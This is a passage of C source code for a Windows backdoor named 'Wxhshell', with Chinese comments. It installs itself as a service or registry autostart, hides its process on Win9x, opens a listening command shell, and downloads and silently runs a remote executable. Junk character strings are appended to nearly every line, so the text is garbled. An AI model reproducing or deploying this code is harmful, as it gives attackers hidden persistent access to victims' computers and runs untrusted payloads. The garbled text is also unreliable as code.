DWORD AffinityMask; ~E2KZm
DWORD BasePriority; lww!-(<ww
ULONG UniqueProcessId; Ng~FEl
ULONG InheritedFromUniqueProcessId; H[U!%Z
} PROCESS_BASIC_INFORMATION; 3 cK I
Ws|j#X<
PROCNTQSIP NtQueryInformationProcess; 2{H@(Vgpbr
Dv5D~on{
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #_^Lb]jkM
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; e#$]Y?,
G}b]w~ML~
HANDLE hProcess; #Y
a4ps_
PROCESS_BASIC_INFORMATION pbi; ix)M`F%P3
$QN"wL||
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wsI`fO^A8
if(NULL == hInst ) return 0; UCB/=k^m
Qp_isU
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Bg x'9p/
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \Je0CD=e`
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3q\,$*D.
KBx6NU?;PO
if (!NtQueryInformationProcess) return 0; .6+Z^,3
=5~jx
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FQ<Ju.
if(!hProcess) return 0; [+n*~
o ,AAC
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; aBNc(?ri
dx MOn
CloseHandle(hProcess); jCOIuw
oAODp!_c
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #S!)JM|4wk
if(hProcess==NULL) return 0;
'7hu 2i5
n|9-KTe7|*
HMODULE hMod; :LF?
char procName[255]; {?}E^5Z*g
unsigned long cbNeeded; 0zmE>/O+
Z>:NPZODf
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Vc&!OE
p6>Svcc
CloseHandle(hProcess); 8lvV4yb
7)`nD<j5
if(strstr(procName,"services")) return 1; // 以服务启动
mHdA2
i&bA2p3+d
return 0; // 注册表启动 S&Zm0Ku
} vlmB`T
@E7DyU|
// 主模块 Z'`<5A%;
int StartWxhshell(LPSTR lpCmdLine) 0l )~i''
{ n'n/Tu
SOCKET wsl; 6F!+T=
BOOL val=TRUE; xpV|\2C
int port=0; 4&<oFW\r
struct sockaddr_in door; i[7\[
^}/PGG\~r
if(wscfg.ws_autoins) Install(); le|~BG hL
<\rT%f}3^
port=atoi(lpCmdLine); UZ\u;/}
4":KoS`,j
if(port<=0) port=wscfg.ws_port; K[Y I4pt7
kCWV r
WSADATA data; YxYH2*q@
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; y-'$(x
:~"CuB/
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; :~&~y-14
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); FH?U(-
door.sin_family = AF_INET; \)#kquH/l
door.sin_addr.s_addr = inet_addr("127.0.0.1"); at#ja_ hd
door.sin_port = htons(port); ?~BC#B\>o
Gw/Pk4R
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x9UX!Z5*>
closesocket(wsl); LiN$
pwm
return 1; 3`t#UY).F
} eenH0Ovv
#xsE3Wj-X
if(listen(wsl,2) == INVALID_SOCKET) { ##,a0s^
closesocket(wsl); {Z(h.de
return 1; 44ek
IV+?
} W9 GxXPA
Wxhshell(wsl); !Q2d(H>
WSACleanup(); >?2M
}TV3
h5*JkRm
return 0; ysQ_[
]/
b|l:fT?&
} #^u$
eBZXI)pPh
// 以NT服务方式启动 W#9BNKL
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u_w#gjiC
{ 2Q/x@aT,h
DWORD status = 0; B3pCy~*5
DWORD specificError = 0xfffffff; o |{5M|nD
\tf<B\oa
serviceStatus.dwServiceType = SERVICE_WIN32; !`Fxa4i>
serviceStatus.dwCurrentState = SERVICE_START_PENDING; `x+ B+)0X
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *'Sd/%8{
serviceStatus.dwWin32ExitCode = 0; n`? py
serviceStatus.dwServiceSpecificExitCode = 0; n,vct<&z@
serviceStatus.dwCheckPoint = 0; xK *b1CB
serviceStatus.dwWaitHint = 0; Qf~vZtJ+J
~Z\8UsVN
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c,np2myd
if (hServiceStatusHandle==0) return;
sJB;3"~
:KQ~Cb
status = GetLastError(); I:R[;TB?y
if (status!=NO_ERROR) ~^NtO
{ u1J0$
serviceStatus.dwCurrentState = SERVICE_STOPPED; Ec!"O3%!M^
serviceStatus.dwCheckPoint = 0; .0zY}`
serviceStatus.dwWaitHint = 0; }^ApJS(FQ
serviceStatus.dwWin32ExitCode = status; Sj%u)#Ub
serviceStatus.dwServiceSpecificExitCode = specificError; 7Od
-I*bt
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'F+C4QAq
return; [<lHCQXJ/
} 5V?&8GTe
7-bd9uVK
serviceStatus.dwCurrentState = SERVICE_RUNNING; F&!6jv
serviceStatus.dwCheckPoint = 0; B~1_ 28\
serviceStatus.dwWaitHint = 0; j8v8uZ;x
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >8~.wXyoC
} &jS>UsGh
z Xg3[orF
// 处理NT服务事件,比如:启动、停止 |XaIx#n
VOID WINAPI NTServiceHandler(DWORD fdwControl) pj\u9
L_
{ Z)I+@2
switch(fdwControl) 29;?I3<
*
{ g;H=6JeG/
case SERVICE_CONTROL_STOP: Lu?C-$a C
serviceStatus.dwWin32ExitCode = 0; .p<:II:6
serviceStatus.dwCurrentState = SERVICE_STOPPED; nD_GL
serviceStatus.dwCheckPoint = 0; hE-h`'ha`
serviceStatus.dwWaitHint = 0; @x*c1%wg
{ L7n D|
SetServiceStatus(hServiceStatusHandle, &serviceStatus); KoOz#,()
} rMdt:`
return; ?h$NAL?
case SERVICE_CONTROL_PAUSE: kjTduZ/3"
serviceStatus.dwCurrentState = SERVICE_PAUSED; {DV_*5
break; \T4v|Pw\
case SERVICE_CONTROL_CONTINUE: y_*
!6Xr
serviceStatus.dwCurrentState = SERVICE_RUNNING; T;Lkaxsn
break; w#ZoZZ wh
case SERVICE_CONTROL_INTERROGATE: H9'$C/w
break; &W|[r(
}; I,E?h?6Y
SetServiceStatus(hServiceStatusHandle, &serviceStatus); &fDIQISC
} +5w))9@
2~Kgv|09
// 标准应用程序主函数 R[zpD%CI
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .M qP_Z',
{ @CpfP;*{w`
JB%',J
// 获取操作系统版本 "|x^|n8i
OsIsNt=GetOsVer(); %v=*Wb\3|
GetModuleFileName(NULL,ExeFile,MAX_PATH);
=ElO?9&
DBo%fYst
// 从命令行安装 |)IlMG
if(strpbrk(lpCmdLine,"iI")) Install(); dH;8mb|#'
X2#2C/6#u
// 下载执行文件 ,1y@Z 5wy
if(wscfg.ws_downexe) { {kA0z2Fe
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !44/sr'
WinExec(wscfg.ws_filenam,SW_HIDE); Q)~aiI0
} 35h8O,Y
bHY=x}Hv
if(!OsIsNt) { {0L1X6eg
// 如果时win9x,隐藏进程并且设置为注册表启动 `xKp%9
HideProc(); ^%d\qd`
StartWxhshell(lpCmdLine); YX!{P=Ua
} n7zm>&
else R"-mKT}
if(StartFromService()) %41m~Wh2
// 以服务方式启动 Me r/G2#&
StartServiceCtrlDispatcher(DispatchTable); $[Sc0dzJ
else +cJL7=V&
// 普通方式启动 <ykU6=
StartWxhshell(lpCmdLine); E~DQ-z
uu-PJTNZ
return 0; h\$$JeSV]
} #Vnkvvv
kDEXN
.u)X3..J
iJ ($YvF4
===========================================
Y[ j6u\y
6O7'!@@
XPavReGf
h&M{]E9=
\S"is z
.r|tSfm6
" &p